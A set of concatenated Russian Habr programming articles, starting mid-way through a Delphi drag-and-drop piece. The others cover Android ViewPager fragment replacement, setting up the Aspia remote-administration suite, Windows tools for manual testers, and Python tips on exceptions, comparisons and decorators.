DropPoint: TPoint; // структура с координатами операции Drop
Catcher: TFileCatcher; // экземпляр класса TFileCatcher
begin
inherited;
Catcher := TFileCatcher.Create(Msg.Drop);
try
for I := 0 to Pred(Catcher.FileCount) do
begin
// ... код обработки пишем здесь
end;
DropPoint := Catcher.DropPoint;
// ... что-то делаем с данными координатами здесь
finally
Catcher.Free;
end;
Msg.Result := 0;
end;
```
#### Планы на будущее
Класс TFileCatcher может быть расширен для скрытия всех API используемых при операциях Drag-and-Drop. Правда для этого потребуется доступ к окну формы, для осуществления перехвата сообщения WM\_DROPFILES.
Один из вариантов такой реализации заключается в сабклассинге окна формы. Правда это выходит за рамки данной статьи. Тем не менее, если вы хотите получить больше информации, посмотрите мой [набор компонент Drop Files](http://www.delphidabbler.com/software/dropfiles).
#### Демо приложение
Исходный код демоприложения базируется на коде, опубликованном в данной статье. Код был протестирован в версиях Delphi с четвертой по седьмую.
> This source code is merely a proof of concept and is intended only to illustrate this article. It is not designed for use in its current form in finished applications. The code is provided on an «AS IS» basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. The code may be used in any way providing it is not sold or passed off as the work of another person. If you agree to all this then please download the code using the following link.
[Скачать демонстрационный пример](http://www.delphidabbler.com/download?id=art-11) | https://habr.com/ru/post/179131/ | null | ru | null |
# Android ViewPager. Как заменить один фрагмент на другой
В этой статье хочу поделиться опытом использования ViewPager и FragmentStatePagerAdapter, появившихся в compatibility package. Точнее, рассказать, с какими проблемами пришлось столкнуться и как они были решены. В частности, замена одного фрагмента на другой.
Вдохновившись постом в официальном блоге [android-developers.blogspot.com/2011/08/horizontal-view-swiping-with-viewpager.html](http://android-developers.blogspot.com/2011/08/horizontal-view-swiping-with-viewpager.html), стал пробовать. Суть задачи заключалась в том, чтобы в качестве одной из page были фрагменты почтового приложения, другими page’ами – фрагменты приложения инстант-мессенджера.
Фрагментов почтового приложения несколько, но page для их отображения только один. Для простоты рассмотрим два почтовых фрагмента — списки папок и писем в выбранной папке. Первым пользователь видит фрагмент списка папок. При выборе конкретной папки фрагмент папок замещается соответствующим фрагментом писем в том же page.
Но, как и многие (стоит поискать в Интернете по запросу «android viewpager replace fragments» ), я столкнулся с проблемой — один Fragment в случае использования ViewPager не заменялся на другой.
Решением стало следующее — перенести код ViewPager, PagerAdapter и FragmentStatePagerAdapter из исходных кодов compatibility pack в свой проект и добавить в ViewPager следующую функцию:
```
public void notifyItemChanged(Object oldItem, Object newItem) {
if (mItems != null) {
for (ItemInfo itemInfo : mItems) {
if (itemInfo.object.equals(oldItem)) {
itemInfo.object = newItem;
}
}
}
invalidate();
}
```
А во FragmentStatePagerAdapter добавить:
```
public void replaceFragmetns(ViewPager container, Fragment oldFragment, Fragment newFragment) {
// ensure getItem returns newFragemtn after calling handleGetItemInbalidated()
handleGetItemInbalidated(container, oldFragment, newFragment);
startUpdate(container);
// remove old fragment
if (mCurTransaction == null) {
mCurTransaction = mFragmentManager.beginTransaction();
}
int position = getFragmentPosition(oldFragment);
while (mSavedState.size() <= position) {
mSavedState.add(null);
}
mSavedState.set(position, null);
mFragments.set(position, null);
mCurTransaction.remove(oldFragment);
// add new fragment
while (mFragments.size() <= position) {
mFragments.add(null);
}
mFragments.set(position, newFragment);
mCurTransaction.add(container.getId(), newFragment);
finishUpdate(container);
container.notifyItemChanged(oldFragment, newFragment);
}
protected abstract void handleGetItemInbalidated(View container, Fragment oldFragment, Fragment newFragment);
protected abstract int getFragmentPosition(Fragment fragment);
```
Функция handleGetItemInbalidated() реализуется в вашем классе, наследуемом от FragmentStatePagerAdapter. После ее вызова функция FragmentStatePagerAdapter .getItem() должна возвращать newFragment. getFragmentPosition() также реализуется в наследуемом классе и возвращает индекс фрагмента в списке page’а.
Теперь замена фрагментов делается так:
```
mAdapter.replaceFragmetns(mViewPager, oldFragment, newFragment);
```
Обращаю внимание на то, что FragmentStatePagerAdapter «выгружает» (fragmentTransaction.remove()) page’и, которые находятся дальше, чем на одну позицию от текущего. В моем приложении page с почтовым фрагментом выгружаться при пролистывании не должна.
Для этого нужно переопределить две функции в классе FragmentStatePagerAdapter:
```
@Override
public Object instantiateItem(View container, int position) {
if (position == getCount() - 1) {
if (mMailCahcedFragment == null) {
return super.instantiateItem(container, position);
} else {
return mMailCahcedFragment;
}
} else {
return super.instantiateItem(container, position);
}
}
@Override
public void destroyItem(View container, int position, Object object) {
if (position == getCount() - 1) {
} else {
super.destroyItem(container, position, object);
}
}
```
Условие (position == getCount() – 1) обусловлено тем, что page с почтовым фрагментом всегда последний.
Скачать тестовый проект в Eclipse: [files.mail.ru/I72IP7](http://files.mail.ru/I72IP7) | https://habr.com/ru/post/132406/ | null | ru | null |
# Aspia — бесплатная программа для удаленного управления ПК
Aspia - это OpenSource приложение для удаленного управления компьютерами внутри локальной сети и за её пределами благодаря реализации ID сервера для обхода NAT.
Не нашел на хабре актуальной информации об этом бесплатном аналоге таких программ как TeamViewer, Radmin, AmmyAdmin, AnyDesk, а та информация какая есть - уже давно устарела, поэтому попробую восполнить данную пустоту своим обзором/мануалом.
В своей публикации, я бы хотел поделиться с вами информацией о возможностях Aspia, общей структуре работы, а так же затронуть вопросы установки и настройки.
### Возможности Aspia на момент написания статьи (версия 2.5.2):
* Управление рабочим столом компьютера с подключением по IP или ID (через ID сервер). Возможен режим полного управления и режим просмотра.
* Передача файлов через собственный файловый менеджер.
* Просмотр информации о системе: оборудование, установленные приложения, службы, запущенные процессы, лицензии Microsoft, сетевые адаптеры, маршруты, подключения, сетевые ресурсы (шары), переменные окружения, журнал событий, пользователи (только локальные), группы пользователей и другая полезная информация.
* Текстовый чат между оператором и подключенным хостом.
* Разделение прав доступа через создание нескольких пользователей с различными уровнями доступа (отдельно настраиваются права на управление рабочим столом, его просмотр, файловый менеджер, информация о системе, текстовый чат).
* Для хранения и управления адресами и идентификаторами, а так же логинами и паролями от удаленных компьютеров используются адресные книги с бесконечной вложенностью папок. Адресные книги хранятся в отдельных файлах и их легко можно передавать другим операторам. Так же, поддерживается шифрование адресной книги для безопасности данных.
* Обход NAT с помощью настройки собственного ID сервера и возможностью подключения к удаленным ПК по ID, вместо имени хоста или IP.
* Возможность балансировки нагрузки на ID сервер с помощью установки нескольких ретрансляторов на разных серверах (подробности ниже).
Кроме всего прочего, Aspia поддерживает Linux Debian (со стороны операторов и ID сервера), Windows (со стороны операторов, удаленных ПК, сервера), MacOS (только для операторов). Версии для Windows упакованы в корректный подписанный MSI, для Linux в Deb пакеты, а MacOS в Dmg. Актуальность пакетов поддерживается разработчиком.
*Примечание: со слов разработчика: приложение под Linux для удаленных ПК планируется, но на данный момент в стадии разработки.*
Модульность Aspia или компоненты программы
------------------------------------------
Aspia состоит из нескольких компонентов. Каждый компонент отвечает за реализацию конкретного функционала.
* **Aspia Host (хост)** - устанавливается на клиентских ПК, управление которыми необходимо осуществлять. Необходимый компонент, только Windows.
* **Aspia Console (консоль)** - необходим для подключения к удаленным ПК и управления Aspia Router. Имеется адресная книга для сохранения списков удаленных ПК. Устанавливается на ПК операторов. Есть версии под Windows, Debian, MacOS.
* **Aspia Client (клиент)** - легкая версия клиента для подключения к удаленным ПК. Устанавливается на ПК операторов. Есть версии под Windows, Debian, MacOS.
* **Aspia Router (маршрутизатор)** - реализация ID сервера, используется для обхода NAT. Устанавливается на сервер. Есть версии под Windows и Debian.
* **Aspia Relay (ретранслятор)** - работает совместно с Router и служит для балансировки нагрузки. При небольших нагрузках возможно использование Router + Relay на одном физическом сервере. Есть версии под Windows и Debian.
Aspia Router и Aspia Relay - схема работы и зачем нужны
-------------------------------------------------------
Маршрутизатор всегда работает совместно с ретранслятором и не может работать без него. Aspia Relay служит для пропуска трафика между оператором и подключенным компьютером в обход Aspia Router. Оба компонента могут быть установлены как на одном сервере совместно, так и на разных для увеличения масштабируемости системы в целом и разделения нагрузки, в случае большого количества соединений.
Aspia Router работает исключительно как сигнальный маршрутизатор, т.е. знает обо всех подключенных к нему хостах/клиентах/консолях и при попытке создать соединение между клиентом/консолью и хостом, не пропускает его через себя, а перенаправляет трафик на Aspia Relay. Тем самым не нагружая свой канал, чтобы всегда быть доступным для «сигнальных соединений» от хостов и клиентов. При этом, к одному Aspia Router может быть подключено множество Aspia Relay.
Процесс выбора ретранслятора работает таким образом, что клиенту/консоли и хосту отдаётся адрес ретранслятора, на котором, в данный момент, больше свободных слотов для подключения. Количество свободных слотов (или размер пула), как и фактический внешний адрес ретранслятора настраивается в конфиге ретранслятора.
Какие компоненты Aspia выбрать
------------------------------
Для начала, вам необходимо определиться с тем, нужны ли вам Router и Relay.
* Если все управляемые ПК расположены внутри периметра вашей локальной сети и/или подключены по VPN, то вам будет достаточно связки Aspia Host + Aspia Console.
* Если у вас есть ПК, расположенные вне периметра вашей сети без прямого доступа к ним по VPN и выходящие в интернет через NAT, то помимо Aspia Host + Aspia Console, вам потребуется установить и настроить сервера Aspia Router + Aspia Relay.
Между Aspia Console и Aspia Client есть существенные отличия:
* **Aspia Client** служит для быстрого подключения к удаленным компьютерам и только для этого.
* **Aspia Console** - используется для более удобного подключения к удаленным компьютерам с помощью реализации адресной книги, а так же для управления Aspia Router.
Далее, можно переходить к установке компонентов.
Распространение Aspia Host на пользовательские ПК
-------------------------------------------------
Перед тем, как распространить Aspia Host, его необходимо предварительно установить на какой-либо компьютер, настроить и экспортировать настройки в json файл (или взять из %programdata%\aspia\host.json).
Далее, распространить MSI и конфиг на удаленные компьютеры (автоматикой или вручную).
Как распространить, если есть Active DirectoryВсе компоненты Aspia поставляются в корректно упакованных MSI, поэтому распространять их в доменной среде можно штатными механизмами Active Directory через установку программ в GPO (Конфигурация компьютера/Политики/Конфигурация программ/Установка програм).
Aspia Host все свои настройки хранит в конфигурационном файле, который находится в директории "%programdata%/aspia/host.json", а настраивать его можно как через GUI Aspia Host, так и вручную через конфиг.
Файл конфига можно распространить на ПК пользователей автоматически через GPO Active Directory (Конфигурация компьютера/Настройка/Конфигурация Windows/Файлы).
Как распространить, если нет Active DirectoryЕсли в вашей среде нет Active Directory по каким-либо причинам, то вы можете положить заранее настроенный файл конфига рядом с msi файлом с названием aspia-host-config.json и при установке конфиг подтянется, а Aspia Host запустится сразу с актуальными настройками.
В некоторых случаях, необходимо выполнить настройку в два клика, для этого можно упаковать установщик MSI и конфиг для него в SFX архив (в нём необходимо настроить запуск инсталлятора, копирование конфига в %programdata%/aspia, перезапуск службы), далее отдать его пользователю. О том, как создать SFX архив хорошо расписано, например, на [oszone.ru](http://www.oszone.net/display.php?id=3171). На этом останавливаться не будем.
Для периодического обновления конфига, если необходимо, можно использовать Batch/PowerShell скрипты для замены конфига по расписанию. Скриптом можно подтягивать конфиг с расшаренной папки, с FTP или с web-сайта.
*Обратите внимание, что в директории "%programdata%\aspia\" кроме самого конфига "host.json", при подключении к маршрутизатору, так же имеется файл "host\_key.json" - он содержит идентификатор по которому Aspia Router авторизует хост и выдаёт ID. Этот файл копировать на другие компьютеры не нужно.*
Распространение Aspia Console и адресной книги
----------------------------------------------
Компонент Aspia Console не требует какой либо настройки, а вот адресную книгу обычно все хотят иметь общую.
Поэтому суть распространения Aspia Console такая же как и для Aspia Host. Только вместо конфига мы настраиваем адресную книгу и распространяем её либо доменом, либо в составе SFX архива, либо скриптами по расписанию.
*Примечание: чтобы настроить автоматическое открытие адресной книги, необходимо щелкнуть ПКМ по вкладке с книгой и выбрать "Закрепить вкладку".*
Настройка Aspia Router в связке с Aspia Relay
---------------------------------------------
Aspia Router и Aspia Relay следует устанавливать на сервере, который будет всегда доступен для всех хостов/консолей/клиентов. В идеале, на выделенный/виртуальный сервер у какого-либо хостера, либо на сервер внутри локальной сети с пробросом портов, но тут есть нюанс.
Собственно, нюансAspia Router и Aspia Relay между собой могут "общаться" по любым адресам, т.е. как "127.0.0.1" (в случае установки на одном сервере), так и по внутренним адресам вида "192.168.0.1", так и по внешним (если установлены на разных хостингах, например).
А вот общение консоли/клиента/хоста с маршрутизатором должно осуществляться исключительно через один и тот же адрес, который будет доступен всем участникам и если у вас есть внешние клиенты (вне периметра вашей локальной сети), то необходимо обязательно указывать в конфиге внешний адрес для подключений.
Из этого вытекает тот факт, что подключения по внешнему адресу фаервола изнутри локальной сети, как и проброс портов должны корректно отрабатываться.
#### Установка и настройка Aspia Router на Debian Linux
Установка заключается в скачивании deb пакета из [репозитория автора проекта](https://github.com/dchapyshev/aspia/releases), его установке, генерировании и настройке конфигурационного файла:
```
wget https://github.com/dchapyshev/aspia/releases/download/v2.5.2/aspia-router-2.5.2-x86_64.deb
sudo apt install ./aspia-router-2.5.2-x86_64.deb
sudo aspia_router --create-config
```
Открываем конфиг файл и правим параметры:
```
sudo nano /etc/aspia/router.json
```
Подробное описание всех параметров* **AdminWhiteList** — Список IP-адресов администраторов, которым разрешено подключаться к маршрутизатору. Адреса разделяются точкой с запятой. Если список пуст, то разрешены подключения от всех администраторов. Если список содержит элементы, то подключиться могут только администраторы, указанные в этом списке.
* **ClientWhiteList** — Список IP-адресов клиентов, которым разрешено подключаться к маршрутизатору. Адреса разделяются точкой с запятой. Если список пуст, то разрешены подключения от всех клиентов. Если список содержит элементы, то подключаться могут только клиенты, указанные в этом списке.
* **HostWhiteList** — Список IP-адресов хостов, которым разрешено подключаться к маршрутизатору. Адреса разделяются точкой с запятой. Если список пуст, то разрешены подключения со всех хостов. Если список содержит элементы, то подключаться могут только хосты, указанные в этом списке.
* **RelayWhiteList** — Список IP-адресов ретрансляторов (Aspia Relay), которым разрешено подключаться к роутеру. Адреса разделяются точкой с запятой. Если список пуст, то разрешены подключения от всех ретрансляторов. Если список содержит элементы, то подключаться могут только ретрансляторы, указанные в этом списке. Вписываем IP адрес нашего ретранслятора (в случае расположения Aspia Relay на том же сервере — указываем 127.0.0.1).
* **Port** — Порт, на котором будут приниматься входящие соединения. Если нет специфичной задачи, то менять не рекомендую.
* **PrivateKey** — Приватный ключ шифрования роутера. Если у вас уже есть закрытый ключ, то напишите его здесь. Если это ваша первая установка, не меняйте значения. Ключ генерируется автоматически.
* **ListenInterface** — IP адрес сетевого интерфейса, на котором должен работать Aspia Router. Укажите «0.0.0.0», чтобы Aspia Router работал на всех доступных интерфейсах.
После окончания настройки, включаем и запускаем службу Aspia Router:
```
sudo systemctl enable aspia-router
sudo service aspia-router start
```
В дальнейшем, чтобы подключить к маршрутизатору ретранслятор и хосты, потребуется указание публичного ключа, который расположен в файле "/etc/aspia/router.pub"
Для просмотра журнала работы, используется следующая команда:
```
sudo journalctl -u aspia-router
```
#### Установка и настройка Aspia Relay на Debian Linux
Установка Aspia Relay не сложнее, чем Aspia Router: скачиваем deb пакет из [репозитория автора проекта](https://github.com/dchapyshev/aspia/releases), устанавливаем, генерируем и настаиваем конфигурационный файл.
```
wget https://github.com/dchapyshev/aspia/releases/download/v2.5.2/aspia-relay-2.5.2-x86_64.deb
sudo apt install ./aspia-relay-2.5.2-x86_64.deb
sudo aspia_relay --create-config
```
Открываем конфиг файл и правим параметры:
```
sudo nano /etc/aspia/relay.json
```
Подробное описание всех параметров* **RouterAddress** — Адрес Aspia Router, который мы устанавливали ранее. Он может быть равен "localhost" или "127.0.0.1" , если маршрутизатор установлен на том же сервере. В случае же, если маршрутизатор и ретранслятор находятся на разных серверах, указывается тот адрес, по которому ретранслятор сможет подключиться к маршрутизатору.
В большинстве случаев — это будет белый внешний IP или "127.0.0.1" для локального ретранслятора.
* **RouterPort** — Порт маршрутизатора. Если вы не изменяли его при установке Aspia Router, то оставьте значение по-умолчанию.
* **RouterPublicKey** — Публичный ключ шифрования роутера, который был сгенерирован при установке Aspia Router (хранится в файле /etc/aspia/router.pub).
* **ListenInterface** — IP адрес сетевого интерфейса, на котором должен работать Aspia Relay. Укажите "0.0.0.0", чтобы Aspia Relay работал на всех доступных интерфейсах.
* **PeerAddress** — Адрес, который пиры (хосты/консоли/клиенты) получат для подключения к ретранслятору. Тут указываем адрес, по которому хост и клиент/консоль смогут достучаться да нашего сервера. Рекомендую указать DNS имя, например что-то вроде: relay1.aspia.example.com, чтобы в случае переезда ретранслятора не пришлось менять много настроек.
* **PeerPort** — Порт, через который пиры будут подключаться к серверу ретрансляции. Если нет специфичной задачи, то менять не рекомендую.
* **PeerIdleTimeout** — Время таймаута, в минутах. Если в течение этого времени данные от пиров не поступают, соединение прерывается. Рекомендую, оставить значение по-умолчанию.
* **MaxPeerCount** — Максимальное количество одновременных подключений, установленных между узлами (Хост/Консоль/Клиент). По-умолчанию установлено — 100. Тут всё зависит от ваших потребностей (количества администраторов и управляемых машин) и возможностей сервера, на который установлен Relay.
* **StatisticsEnabled**— Включение возможности передачи статистики подключений на маршрутизатор. Для просмотра статистики используйте Aspia Console (раздел управления роутером -> Ретрансляторы). Поддерживается два параметра: "true" (включено) или "false" (выключено).
* **StatisticsInterval**— Интервал, в секундах, для отправки статистики подключений на маршрутизатор. Поддерживаются значения от "1" до "60".
После окончания настройки, включаем и запускаем службу Aspia Relay:
```
$ sudo systemctl enable aspia-relay
$ sudo service aspia-relay start
```
Для просмотра журнала работы, используется следующая команда:
```
$ sudo journalctl -u aspia-relay
```
#### Резервное копирование Aspia Router + Aspia Relay
При резервном копировании Aspia Router и Aspia Relay, необходимо сохранять следующие файлы:
| | |
| --- | --- |
| /etc/aspia/router.json | Конфигурационный файл маршрутизатора |
| /etc/aspia/router.pub | Публичный ключ для подключений к маршрутизатору |
| /var/lib/aspia/router.db3 | База данных маршрутизатора |
| /etc/aspia/relay.json | Конфигурационный файл ретранслятора |
#### Настройка подключения к Aspia Router через Aspia Console
Для подключения консоли к маршрутизатору и получения возможности управления им, необходимо:
* Открыть консоль, создать книгу и настроить её через меню "Правка -> Свойства адресной книги"
* На вкладке "Маршрутизатор" поставить галку "Использовать маршрутизатор" и указать адрес маршрутизатора, имя пользователя и пароль (по-умолчанию "admin:admin")
* Для управления маршрутизатором откройте меню "Инструменты -> Управление маршрутизатором"
+ На вкладке "Пользователи" обязательно измените пароль по-умолчанию на свой и создайте пользователей, если необходимо. Пользователи используются для подключения операторов к маршрутизатору.
+ На вкладке "Ретрансляторы" вы сможете увидеть подключенный к вашему маршрутизатору ретранслятор и информацию о нем, а если щелкнуть по нему в списке, то еще и список текущих установленных соединений.
+ На вкладке "Хосты" вы сможете увидеть список подключенных хостов и информацию о них.
Заключение
----------
Благодаря программному комплексу Aspia, нашей компании удалось избавиться от зоопарка программ для удаленного управления и "запереть" сервис удаленного управления внутри собственной инфраструктуры, не используя сторонних сервисов, что крайне важно в нынешнее время.
---
**Ссылки, которые будут вам полезны:**
* Сайт проекта Aspia: [aspia.org](https://aspia.org/)
* Репозиторий с исходниками на Github: [github.com/dchapyshev/aspia](https://github.com/dchapyshev/aspia)
* Канал в телеграм: [t.me/aspia\_ru](https://t.me/aspia_ru)
* Профиль разработчика на хабе: [habr.com/ru/users/lentin/](https://habr.com/ru/users/lentin/)
* Дополнительную информацию по работе с Aspia можно найти в моём блоге: [it-35.ru/tags/aspia](https://it-35.ru/tags/aspia) | https://habr.com/ru/post/711122/ | null | ru | null |
# Тулзы ручного тестировщика приложений на базе Windows
Моё лицо, когда не удается найти причины появления очередного блокераЯ занимаюсь тестированием десктоп приложений на базе Windows и в данный момент слежу за качеством одной отечественной ММОРПГ. Со временем я оброс некоторыми тулзами, позволяющими улучшить процессы ручного тестирования. В данной статье не хочу трогать полноценную автоматизацию (зависящую от ЯП, игрового движка и желания куашника лезть в эти дебри), а больше рассказать про ПО, которым я сам пользуюсь и которое не так часто всплывает в подобных темах (зачастую упор на мобилках и вэбе).
Virtual Box
-----------
*Когда использовать:* инсталляционное тестирование.
По данным Steam на апрель 2021 наиболее популярной ОСью является Windows 10 64 bit (92.38%). Следом за ней идут Windows 7 64 bit (2.33%) и Windows 8.1 64 bit (1.08%). Среди языков наиболее популярные: английский (39.27%), упрощенный китайский (18.83%) и русский (11.18%). Если с языками в рамках одной ОСи и можно поиграться, то иметь несколько разных ОСей на одной машине и переключаться между ними, прогоняя тесты, – удовольствие, скажем честно, на любителя.
Здесь нам и приходят на помощь средства виртуализации, где *имхо* самым простым и удобным будет Virtual Box. Позволяет прямо здесь и сейчас раскатать несколько образов систем разных разрядностей, языков, объемов ПЗУ и ОЗУ. Создать клон виртуальной машины или сделать снимок системы, к которому можно откатываться после прогона тестов. Образы виртуального диска можно копипастить и использовать на разных физических машинах. Из минусов, в виртуалку не прокинуть видеокарту, в Virtual Box данного функционала попросту нет. [*link\_virtualbox*](https://www.virtualbox.org/)
NetBalancer и Tmeter
--------------------
*Когда использовать:* стресс тестирование.
То, что замечательно работает при 500 Мбит, может быть абсолютно неюзабельным при 1 Мбит. Как проводить подобные тесты? Можно, конечно, понизить пропускную способность сетевой карты средствами windows, урезав, скажем, значение до 10 Мбит и поиграть с дуплексом. Или потыкаться в настройках роутера. Но хочется все же более точных цифр и статистики.
Решение для богатых **-** NetBalancer. Решение для *чуть менее богатых* – Tmeter. Оба приложения позволяют редактировать скорость всего трафика или выставить ограничения на конкретный процесс, задавать правила и фильтры, отображать кол-во полученных и посланных байт в риалтайме. Оба выводят виджет с графиками, имеют приятный интерфейс и гибкую настройку.
Преимущество, на мой взгляд, у NetBalancer`а – есть возможность выбрать запущенное приложение и сохранить всю его статистику по трафику с указанием времени. Но да, за него придется немного забашлять разрабам. Tmeter бесплатный, но со статистикой у него похуже: подробного и посекундного сбора у него нет, только общие цифры. *Небольшая оговорка:* следует помнить, что все эти проверки синтетические и могут отличаться от реальных условий.
[*link\_netbalancer*](https://netbalancer.com/) и [*link\_tmeter*](http://www.tmeter.ru/)
AutoHotKey
----------
*Когда использовать:* когда угодно.
Простейшая автоматизация рутинных процессов. Как быстро заполнять поля или отправить в игровой чат тысячу сообщений нажатием одной кнопки? Или воспроизвести последовательность действий, не прожимая кучу кнопок? Ответ - быстрый и ч0ткий AutoHotkey. [*link\_ahk*](https://www.autohotkey.com/) Например, можно зафиксировать шаблон баг репорта с заранее подготовленным форматированием:
```
^+v::
sendinput, *Краткое описание проблемы:*
sendinput, {ENTER}
sendinput, {ENTER}
sendinput, *Шаги воспроизведения:*
sendinput, {ENTER}
sendinput, 1.
sendinput, {ENTER}
sendinput, *Фактический результат:*
sendinput, {ENTER}
sendinput, {ENTER}
sendinput, *Ожидаемый результат:*
sendinput, {ENTER}
sendinput, {ENTER}
sendinput, *Окружение:*
sendinput, {ENTER}
sendinput, {ENTER}
sendinput, *Комментарий:*
sendinput, {ENTER}
sendinput, -
return
```
При нажатии сочетания клавиш ctrl+shift+v поле будет выглядеть так:
Если не лень, можно заморочиться и писать целые сценарии, кликая мышью по координатам и нажимая различные клавиши/сочетания клавиш (но мы же понимаем, что это *такое и лучше юзать нормальную автому*).
Process monitor и DebugView
---------------------------
*Когда использовать:* когда угодно/анализ данных для баг репорта.
Допустим, вы запускаете игру и ловите синий экран смерти. С чего начать диагностику? Безусловно, пойдем изучать журнал windows и тыкать клиентские логи приложения. Но в дополнение к этому я бы выделил сразу две тулзы: Process monitor и DebugView. Первая выводит список всех процессов с указанием времени, позволяет сохранить их в табличку в csv/xml. Быстро, просто и удобно. Вторая перехватывает и выводит на экран, либо сохраняет в файл, вызовы OutputDebugString и DbgPrint, которые изначально заложил в код разработчик. Обычно применяется в том случае, когда проблема невоспроизводима на машине разработчика, а встроенный логгер по какой-либо причине неприменим (напр., по причине падения приложения или его отсутствия). Разработчик обильно обкладывает проблемное место отладочной печатью и отправляет приложение тестировщику, который воспроизводит ошибку и возвращает логи обратно — через несколько итераций проблема обычно находится. (за корректировку описания спасибо [@AndreyDmitriev](/users/andreydmitriev)) *link\_prmonitor* и [*link\_debugview*](https://docs.microsoft.com/en-us/sysinternals/downloads/debugview)
MSI Afterburner
---------------
*Когда использовать:* когда угодно/нагрузочное тестирование.
Как быстро понять, привели ли изменения в проекте к улучшению производительности и увеличению кол-ва кадров в секунду? А если бы еще можно было подключить к этой программе свои скрипты – так вообще была бы сказка. Ну так есть такое! MSI Afterburner. Можно вывести на экран не просто кол-во кадров, а всю инфу с нагрузкой на железо (ОЗУ, ЦПУ, ГПУ, ̶М̶Г̶У̶). А также поиграться с настройкой видюхи! Вольтаж, память, регулировка скорости вентиляторов и кучу всякого разного. Еще раз отмечу, что MSI Afterburner позволяет запускать сторонние приложения на свои события. Так, например, я делаю питонячим скриптом скрины экрана в местах, где ФПС значительно проседает. [*link\_msiab*](https://ru.msi.com/page/Afterburner)
Intel Graphics Perfomance Analyzers
-----------------------------------
*Когда использовать:* когда графическое приложение в конкретном месте безбожно тормозит.
Не совсем для всех и каждого. Приложение подойдет для мониторинга производительности программ с упором на графическую составляющую. Включает в себя целый список программных средств: GPA System Analyzer, Frame Analyzer, Trace Analyzer. Позволяет запустить прилажку, поставить ее на «паузу», захватить фрейм, собрать по нему объемную информацию и передать на анализ, скажем, техартистам, которые уже и будут заниматься оптимизацией. Еще никогда процесс сбора подобной информации не был так прост. Кому захочется почитать подробнее, вот хорошая [*статья*](https://www.gamedev.ru/code/articles/Intel_GPA) на русском. [*link\_intel\_gpanalyzers*](https://software.intel.com/content/www/us/en/develop/tools/graphics-performance-analyzers.html)
Самописные тулзы
----------------
*Когда использовать:* когда угодно.
Не хотел трогать автоматизацию, но считаю, что стоит упомянуть о самописных тулзах, которые можно использовать каждый день и на всех этапах тестирования. Отправка запросов, работа с БД, парсинг json`ов, анализ любых внутренних данных – в свои тулзы можно запихнуть все, что нужно и все, что угодно. Вариаций может быть масса. Я же использую **Python** и библиотеку **pysimplegui**, у которой есть отличный [*cookbook с примерами*](https://pysimplegui.readthedocs.io/en/latest/cookbook/). А с помощью [*auto-py-to-exe*](https://pypi.org/project/auto-py-to-exe/) легко и просто гуишка упаковывается в исполняемый файл.
Отладочные команды для куа отдела – это, конечно, круто. Но GUI оболочка под них (какой бы она не была) зарекомендовала себя как инструмент не только для куа, но и для ГД, арта, звука, продюсеров и других отделов. Конечно, можно попросить сделать это прогеров и потратить их время, но можно сделать все это и самостоятельно.
Разумеется, это не полный список, но и время у всех нас не резиновое. Скидывайте в комментарии ваши рабочие инструменты, интересно почитать, где и что можно усовершенствовать и дополнить. И спасибо за внимание! | https://habr.com/ru/post/554300/ | null | ru | null |
# Подборка @pythonetc, май 2019
Это одиннадцатая подборка советов про Python и программирование из моего авторского канала @pythonetc.
← [Предыдущие подборки](https://habr.com/ru/search/?q=%5Bpythonetc%5D&target_type=posts)
Выражение `break` блокирует исключение, если применяется в блоке `finally`, даже при отсутствии блока `except`:
```
for i in range(10):
try:
1 / i
finally:
print('finally')
break
print('after try')
print('after while')
```
Результат:
```
finally
after while
```
То же самое верно и для `continue`, однако это выражение может применяться в `finally` только до версии Python 3.8:
```
SyntaxError: 'continue' not supported inside 'finally' clause
```
Вы можете добавлять Unicode-символы в строковые литералы не только по их индексам, но и по имени.
```
>>> '\N{EM DASH}'
'—'
>>> '\u2014'
'—'
```
Этот способ совместим и с f-строками:
```
>>> width = 800
>>> f'Width \N{EM DASH} {width}'
'Width — 800'
```
Для Python-объектов есть шесть «волшебных» методов, которые определяют правила сравнения:
* `__lt__` для `<`
* `__gt__` для `>`
* `__le__` для `<=`
* `__ge__` для `>=`
* `__eq__` для `==`
* `__ne__` для `!=`
Если какие-то из этих методов не определены или возвращают `NotImplemented`, то применяются такие правила:
* `a.__lt__(b)` то же самое, что `b.__gt__(a)`
* `a.__le__(b)` то же самое, что `b.__ge__(a)`
* `a.__eq__(b)` то же самое, что `not a.__ne__(b)` (обратите внимание, что в этом случае `a` и `b` не поменялись местами)
Однако, условия `a >= b` и `a != b` не означают автоматически, что `a > b`. Декоратор `functools.total_ordering` создаёт все шесть методов на основе `__eq__` и одного из этих: `__lt__`, `__gt__`, `__le__` или `__ge__`.
```
from functools import total_ordering
@total_ordering
class User:
def __init__(self, pk, name):
self.pk = pk
self.name = name
def __le__(self, other):
return self.pk <= other.pk
def __eq__(self, other):
return self.pk == other.pk
assert User(2, 'Vadim') < User(13, 'Catherine')
```
Иногда нужно использовать и декорированную, и не декорированную версию функции. Проще всего будет этого добиться, если не использовать специальный декорирующий синтаксис (с символом `@`) и создать декорирующую функцию вручную:
```
import json
def ensure_list(f):
def decorated(*args, **kwargs):
result = f(*args, **kwargs)
if isinstance(result, list):
return result
else:
return [result]
return decorated
def load_data_orig(string):
return json.loads(string)
load_data = ensure_list(load_data_orig)
print(load_data('3')) # [3]
print(load_data_orig('4')) 4
```
Или можно написать декоратор, который декорирует функцию, при этом сохраняя в её атрибуте `orig` исходную версию:
```
import json
def saving_orig(another_decorator):
def decorator(f):
decorated = another_decorator(f)
decorated.orig = f
return decorated
return decorator
def ensure_list(f):
...
@saving_orig(ensure_list)
def load_data(string):
return json.loads(string)
print(load_data('3')) # [3]
print(load_data.orig('4')) # 4
```
Если все ваши декораторы созданы через `functools.wraps`, то можете с помощью атрибута `__wrapped__` обращаться к не декорированной функции:
```
import json
from functools import wraps
def ensure_list(f):
@wraps(f)
def decorated(*args, **kwargs):
result = f(*args, **kwargs)
if isinstance(result, list):
return result
else:
return [result]
return decorated
@ensure_list
def load_data(string):
return json.loads(string)
print(load_data('3')) # [3]
print(load_data.__wrapped__('4')) # 4
```
Но помните, что этот подход не работает для функций, которые декорированы более чем одним декоратором: вам придётся обращаться к `__wrapped__` каждого из применённых декораторов:
```
def ensure_list(f):
...
def ensure_ints(f):
@wraps(f)
def decorated(*args, **kwargs):
result = f(*args, **kwargs)
return [int(x) for x in result]
return decorated
@ensure_ints
@ensure_list
def load_data(string):
return json.loads(string)
for f in (
load_data,
load_data.__wrapped__,
load_data.__wrapped__.__wrapped__,
):
print(repr(f('"4"')))
```
Результат:
```
[4]
['4']
'4'
```
